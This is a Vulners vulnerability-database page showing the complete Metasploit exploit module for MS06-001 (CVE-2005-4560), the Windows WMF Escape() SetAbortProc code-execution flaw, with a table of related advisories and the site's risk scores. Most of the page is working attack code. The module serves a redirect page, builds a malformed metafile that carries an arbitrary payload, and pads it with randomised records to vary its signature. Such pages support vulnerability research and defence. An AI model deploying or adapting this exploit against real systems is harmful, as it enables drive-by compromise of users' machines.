Vulners
Lucene search
Microsoft Windows XP/Vista/2003 - Metafile Escape() SetAbortProc Code Execution (MS06-001) (Metasploit)
| Reporter | Title | Published | Views | Family All 31 |
|---|---|---|---|---|
 | Windows XP/2003 Metafile Escape() Code Execution Exploit (meta) | 27 Dec 200500:00 | – | zdt |
 | CVE-2007-1211 | 4 Apr 200716:19 | – | attackerkb |
 | CVE-2005-4560 | 20 Sep 201000:00 | – | circl |
 | Microsoft Windows WMF Handling Arbitrary Code Execution (CVE-2005-4560) | 22 Mar 201000:00 | – | checkpoint_advisories |
| WMF and EMF Files (CVE-2005-2123; CVE-2005-2124; CVE-2005-4560; CVE-2006-0020) | 22 Feb 200600:00 | – | checkpoint_advisories |
 | CVE-2005-4560 | 28 Dec 200519:00 | – | cve |
 | CVE-2005-4560 | 28 Dec 200519:00 | – | cvelist |
 | Microsoft Windows XP/2003 - Metafile Escape() Code Execution (Metasploit) | 27 Dec 200500:00 | – | exploitdb |
 | Microsoft Windows XP2003 - Metafile Escape() Code Execution (Metasploit) | 27 Dec 200500:00 | – | exploitpack |
 | Windows XP/2003/Vista Metafile Escape() SetAbortProc Code Execution | 10 Dec 200603:26 | – | metasploit |
10
##
# $Id: ms06_001_wmf_setabortproc.rb 10394 2010-09-20 08:06:27Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
#
# This module acts as an HTTP server
#
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'Windows XP/2003/Vista Metafile Escape() SetAbortProc Code Execution',
'Description' => %q{
This module exploits a vulnerability in the GDI library included with
Windows XP and 2003. This vulnerability uses the 'Escape' metafile function
to execute arbitrary code through the SetAbortProc procedure. This module
generates a random WMF record stream for each request.
},
'License' => MSF_LICENSE,
'Author' =>
[
'hdm',
'san <[email protected]>',
'[email protected]',
],
'Version' => '$Revision: 10394 $',
'References' =>
[
['CVE', '2005-4560'],
['OSVDB', '21987'],
['MSB', 'MS06-001'],
['BID', '16074'],
['URL', 'http://www.microsoft.com/technet/security/advisory/912840.mspx'],
['URL', 'http://wvware.sourceforge.net/caolan/ora-wmf.html'],
['URL', 'http://www.geocad.ru/new/site/Formats/Graphics/wmf/wmf.txt'],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 1000 + (rand(256).to_i * 4),
'BadChars' => "\x00",
'Compat' =>
{
'ConnectionType' => '-find',
},
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP/2003/Vista Automatic', { }],
],
'DisclosureDate' => 'Dec 27 2005',
'DefaultTarget' => 0))
end
def on_request_uri(cli, request)
ext = 'wmf'
if (not request.uri.match(/\.wmf$/i))
if ("/" == get_resource[-1,1])
wmf_uri = get_resource[0, get_resource.length - 1]
else
wmf_uri = get_resource
end
wmf_uri << "/" + rand_text_alphanumeric(rand(80)+16) + "." + ext
html = "<html><meta http-equiv='refresh' content='0; " +
"URL=#{wmf_uri}'><body>One second please...</body></html>"
send_response_html(cli, html)
return
end
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
# Transmit the compressed response to the client
send_response(cli, generate_metafile(p), { 'Content-Type' => 'text/plain' })
# Handle the payload
handler(cli)
end
def generate_metafile(payload)
# Minimal length values before and after the Escape record
pre_mlen = 1440 + rand(8192)
suf_mlen = 128 + rand(8192)
# Track the number of generated records
fill = 0
# The prefix and suffix buffers
pre_buff = ''
suf_buff = ''
# Generate the prefix
while (pre_buff.length < pre_mlen)
pre_buff << generate_record()
fill += 1
end
# Generate the suffix
while (suf_buff.length < suf_mlen)
suf_buff << generate_record()
fill += 1
end
clen = 18 + 8 + 6 + payload.encoded.length + pre_buff.length + suf_buff.length
data =
#
# WindowsMetaHeader
#
[
# WORD FileType; /* Type of metafile (1=memory, 2=disk) */
rand(2)+1,
# WORD HeaderSize; /* Size of header in WORDS (always 9) */
9,
# WORD Version; /* Version of Microsoft Windows used */
( rand(2).to_i == 1 ? 0x0300 : 0x0100 ),
# DWORD FileSize; /* Total size of the metafile in WORDs */
clen/2,
# WORD NumOfObjects; /* Number of objects in the file */
rand(0xffff),
# DWORD MaxRecordSize; /* The size of largest record in WORDs */
rand(0xffffffff),
# WORD NumOfParams; /* Not Used (always 0) */
rand(0xffff),
].pack('vvvVvVv') +
#
# Filler data
#
pre_buff +
#
# StandardMetaRecord - Escape()
#
[
# DWORD Size; /* Total size of the record in WORDs */
4,
# WORD Function; /* Function number (defined in WINDOWS.H) */
(rand(256).to_i << 8) + 0x26,
# WORD Parameters[]; /* Parameter values passed to function */
9,
].pack('Vvv') + payload.encoded +
#
# Filler data
#
suf_buff +
#
# Complete the stream
#
[3, 0].pack('Vv') +
#
# Some extra fun padding
#
rand_text(rand(16384)+1024)
return data
end
def generate_record
type = rand(3)
case type
when 0
# CreatePenIndirect
return [8, 0x02fa].pack('Vv') + rand_text(10)
when 1
# CreateBrushIndirect
return [7, 0x02fc].pack('Vv') + rand_text(8)
else
# Rectangle
return [7, 0x041b].pack('Vv') + rand_text(8)
end
end
endData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
20 Sep 2010 00:00Current
7High risk
Vulners AI Score7
CVSS 27.5
EPSS0.90269